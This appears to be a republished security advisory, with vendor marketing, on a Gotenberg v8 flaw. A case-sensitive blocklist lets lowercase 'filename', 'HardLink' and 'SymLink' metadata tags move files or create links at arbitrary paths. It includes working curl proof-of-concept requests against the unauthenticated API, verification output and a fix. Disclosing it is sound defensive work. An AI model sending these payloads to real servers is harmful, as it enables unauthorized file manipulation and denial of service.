GHSA-QMWH-9M9C-H36M

GHSA-QMWH-9M9C-H36M is a high-severity security vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.29.1. It is fixed in 8.30.0.

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

  • HardLink: creates a hard link to the file at the specified path
  • SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
  2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Affected versions

github.com/gotenberg/gotenberg/v8 (<= 8.29.1)

Security releases

github.com/gotenberg/gotenberg/v8 → 8.30.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

Frequently Asked Questions

  1. What is GHSA-QMWH-9M9C-H36M? GHSA-QMWH-9M9C-H36M is a high-severity security vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.29.1. It is fixed in 8.30.0.
  2. Which versions of github.com/gotenberg/gotenberg/v8 are affected by GHSA-QMWH-9M9C-H36M? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.29.1 is affected.
  3. Is there a fix for GHSA-QMWH-9M9C-H36M? Yes. GHSA-QMWH-9M9C-H36M is fixed in 8.30.0. Upgrade to this version or later.
  4. Is GHSA-QMWH-9M9C-H36M exploitable, and should I be worried? Whether GHSA-QMWH-9M9C-H36M is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-QMWH-9M9C-H36M is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-QMWH-9M9C-H36M? Upgrade github.com/gotenberg/gotenberg/v8 to 8.30.0 or later.

Other vulnerabilities in github.com/gotenberg/gotenberg/v8

CVE-2026-55229CVE-2026-45741CVE-2026-44829CVE-2026-42595CVE-2026-42597

Stop the waste.
Protect your environment with Kodem.